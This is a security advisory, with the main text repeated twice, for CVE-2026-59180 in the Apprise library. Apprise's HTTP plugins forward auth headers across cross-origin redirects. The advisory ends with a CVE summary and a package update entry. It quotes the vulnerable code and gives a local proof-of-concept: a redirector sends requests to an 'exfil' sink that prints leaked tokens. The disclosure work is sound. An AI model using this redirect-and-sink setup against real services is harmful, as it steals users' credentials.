CVE-2026-59180

Summary

Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (apprise/attachment/http.py, apprise/config/http.py) follow HTTP 3xx redirects by default and re-send the user-configured auth headers and query parameters on the redirected request. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a 302 Location: to an arbitrary host and Apprise forwards the user's secret (X-Gotify-Key, Authorization, bearer tokens in query, custom +Header= values) to that cross-origin host. The attacker does not need to control the original Apprise URL — only the response from a destination the operator already trusts.

This is the application-layer analogue of urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").

Affected versions

All releases up to and including v1.10.0 (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes PR #1610 (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Details

apprise/plugins/gotify.py (pre-fix HEAD, lines 226-244, verbatim):

headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests follows 3xx redirects by default and re-attaches the headers= dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api, and most other HTTP-based plugins), plus in apprise/attachment/http.py and apprise/config/http.py.

Reproduction (local, safe)

# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()

# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()

# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Observed on master HEAD (2026-05-13): attacker_sink.py prints X-Gotify-Key: SECRETTOKEN -- the user-supplied token followed the cross-origin redirect.

Patch

Fix landed in caronc/apprise#1610 (merged 2026-05-16, commit 68c0aef):

• Adds ?redirect=yes|no URL parameter on every plugin URL
• Adds AppriseAsset.http_redirects global default
• Equivalent flags wired into apprise/attachment/http.py and apprise/config/http.py

The default remains redirects=True for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append ?redirect=no to their Apprise URLs or set AppriseAsset(http_redirects=False) globally.

Released in v1.11.0 (2026-05-29, available on PyPI).

Related:

• Documentation: caronc/apprise-docs#60 (merged 2026-05-16)
• API counterpart:…

Summary

Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (apprise/attachment/http.py, apprise/config/http.py) follow HTTP 3xx redirects by default and re-send the user-configured auth headers and query parameters on the redirected request. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a 302 Location: to an arbitrary host and Apprise forwards the user's secret (X-Gotify-Key, Authorization, bearer tokens in query, custom +Header= values) to that cross-origin host. The attacker does not need to control the original Apprise URL — only the response from a destination the operator already trusts.

This is the application-layer analogue of urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").

Affected versions

All releases up to and including v1.10.0 (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes PR #1610 (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Details

apprise/plugins/gotify.py (pre-fix HEAD, lines 226-244, verbatim):

headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests follows 3xx redirects by default and re-attaches the headers= dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api, and most other HTTP-based plugins), plus in apprise/attachment/http.py and apprise/config/http.py.

Reproduction (local, safe)

# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()

# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()

# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Observed on master HEAD (2026-05-13): attacker_sink.py prints X-Gotify-Key: SECRETTOKEN -- the user-supplied token followed the cross-origin redirect.

Patch

Fix landed in caronc/apprise#1610 (merged 2026-05-16, commit 68c0aef):

• Adds ?redirect=yes|no URL parameter on every plugin URL
• Adds AppriseAsset.http_redirects global default
• Equivalent flags wired into apprise/attachment/http.py and apprise/config/http.py

The default remains redirects=True for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append ?redirect=no to their Apprise URLs or set AppriseAsset(http_redirects=False) globally.

Released in v1.11.0 (2026-05-29, available on PyPI).

Related:

• Documentation: caronc/apprise-docs#60 (merged 2026-05-16)
• API counterpart:…

Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.

This update for python-apprise fixes the following issues:

Changes in python-apprise:

• CVE-2026-59180: Information disclosure via HTTP redirect following with credential resending (bsc#1271342)